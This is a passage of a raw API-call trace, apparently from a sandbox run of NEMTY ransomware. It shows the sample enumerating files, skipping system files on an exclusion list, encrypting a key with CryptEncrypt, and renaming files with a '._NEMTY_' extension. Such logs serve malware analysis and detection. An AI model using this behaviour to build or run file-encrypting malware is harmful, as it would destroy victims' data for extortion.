WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw120.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0105.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0105.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw120.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_bw120.png", lpUsedDefaultChar=0x0) returned 16 [0105.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0105.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0105.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0105.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0105.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw120.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0105.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0105.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw120.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_bw120.png", lpUsedDefaultChar=0x0) returned 16 [0105.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0105.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0105.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw120.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0105.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0105.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw120.png", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_bw120.png", lpUsedDefaultChar=0x0) returned 16 [0105.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0105.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0105.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0105.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0105.486] Sleep (dwMilliseconds=0x5) [0105.501] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf287b7d0, dwHighDateTime=0x1d561e7)) [0105.501] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf287b7d0, dwHighDateTime=0x1d561e7)) [0105.501] GetLastError () returned 0x5 [0105.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0105.501] GetLastError () returned 0x5 [0105.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0105.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0105.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0105.502] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0105.502] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0105.502] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0105.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94258 [0105.502] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94258, pcchString=0x653ef9c | out: pszString="Bon45tg7tmCMknT9JaQ1Jchn6lByjPDia4es709twC0RWZHwWSxGsG8qmwSipQpT\r\nvD5/lP76hUkmoay/ZYT5hVdGY6nsR1MdpHqQjqKLy9q8ZuQdHs3ThZeyyV1dUwAp\r\nho9cS+K6Tfru/1J+/e9TfyH+o/ioRJDQFC85Qcuc0TsMJDj44g4QosMwD3DY/Sxh\r\nL7SNFd+7TyUoiNs+NFvNwSQMSXKTES5Q29ct9cqtdM3xBhELqbwNpQH93J+MDhfy\r\n+LJPA3tEN6lpN4uRupA/MGR48Hsi7hWQpRt5XpTJz2WUIEkbd+VH56S6gzTQ+sSy\r\n/pBjdNGs60m0LSin4NuiyA==\r\n", pcchString=0x653ef9c) returned 1 [0105.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0105.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94258 | out: hHeap=0x4f90000) returned 1 [0105.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0105.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0105.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94258 [0105.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0105.502] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw120.png" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw120.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0105.502] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0105.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0105.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.502] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.512] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.512] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.512] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.512] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.521] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.521] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.521] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.521] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.530] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.530] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.530] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.530] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.540] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.540] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.540] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.540] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.551] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.551] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.551] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.552] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.561] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.561] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.561] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.561] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.570] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.570] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.579] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.579] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.580] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.580] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.589] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.589] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.589] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.589] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.599] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.600] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.600] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.600] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.606] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.606] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.606] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.606] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0105.612] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.612] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.612] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0105.612] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94258, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0105.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0105.612] CloseHandle (hObject=0xffffffff) returned 0 [0105.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0105.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0105.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0105.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0105.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0105.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0105.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0105.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0105.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0105.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0105.612] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw120.png" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw120.png"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw120.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw120.png._nemty_kgobjgd_")) returned 0 [0105.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0105.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0105.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0105.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94258 | out: hHeap=0x4f90000) returned 1 [0105.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0105.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0105.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0105.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0105.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0105.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0105.613] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3b1bef, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3b1bef, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="wmpnss_bw32.bmp", cAlternateFileName="")) returned 1 [0105.613] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2=".") returned 1 [0105.613] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="..") returned 1 [0105.613] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="...") returned 1 [0105.613] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="windows") returned 1 [0105.613] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="$RECYCLE.BIN") returned 1 [0105.613] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="rsa") returned 1 [0105.613] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="NTDETECT.COM") returned 1 [0105.613] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="ntldr") returned 1 [0105.613] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="MSDOS.SYS") returned 1 [0105.613] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="IO.SYS") returned 1 [0105.613] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="boot.ini") returned 1 [0105.613] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="boot.ini") returned 1 [0105.613] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="AUTOEXEC.BAT") returned 1 [0105.613] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="ntuser.dat") returned 1 [0105.613] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="desktop.ini") returned 1 [0105.613] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="CONFIG.SYS") returned 1 [0105.613] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="RECYCLER") returned 1 [0105.613] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="BOOTSECT.BAK") returned 1 [0105.613] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="bootmgr") returned 1 [0105.613] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="programdata") returned 1 [0105.613] lstrcmpiW (lpString1="wmpnss_bw32.bmp", lpString2="appdata") returned 1 [0105.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0105.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw32.bmp", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0105.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw32.bmp", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_bw32.bmp", lpUsedDefaultChar=0x0) returned 15 [0105.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0105.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw32.bmp", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0105.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw32.bmp", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_bw32.bmp", lpUsedDefaultChar=0x0) returned 15 [0105.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0105.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0105.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0105.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw32.bmp", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0105.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw32.bmp", cchWideChar=15, lpMultiByteStr=0x653f2a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_bw32.bmp", lpUsedDefaultChar=0x0) returned 15 [0105.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0105.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0105.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw32.bmp", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0105.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw32.bmp", cchWideChar=15, lpMultiByteStr=0x653f2d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_bw32.bmp", lpUsedDefaultChar=0x0) returned 15 [0105.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0105.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0105.614] HeapFree (in: 